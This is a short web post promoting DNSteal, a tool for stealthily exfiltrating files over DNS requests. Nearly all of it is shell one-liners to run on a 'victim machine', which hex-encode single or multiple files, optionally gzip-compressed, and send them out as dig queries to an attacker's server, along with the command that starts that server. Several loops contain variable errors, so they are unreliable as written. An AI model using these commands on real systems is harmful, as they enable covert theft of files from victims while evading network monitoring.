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Published on September 28th, 2015 📆 | 4226 Views ⚑

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DNSteal – DNS Exfiltration tool for stealthily sending files over DNS requests

natural text to speech

On the victim machine, you simply can do something like so:

for b in $(xxd -p file/to/send.png); do dig @server $b.filename.com; done

Support for multiple files

for filename in $(ls); do for b in $(xxd -p $f); do dig +short @server %b.$filename.com; done; done

gzip compression supported
It also supports compression of the file to allow for faster transfer speeds, this can be achieved using the "-z" switch:

python dnsteal.py 127.0.0.1 -z

Then on the victim machine send a Gzipped file like so:

for b in $(gzip -c file/to/send.png | xxd -p); do dig @server $b.filename.com; done

or for multiple, gzip compressed files:

for filename in $(ls); do for b in $(gzip -c $filename | xxd -p); do dig +short @server %b.$filename.com; done; done

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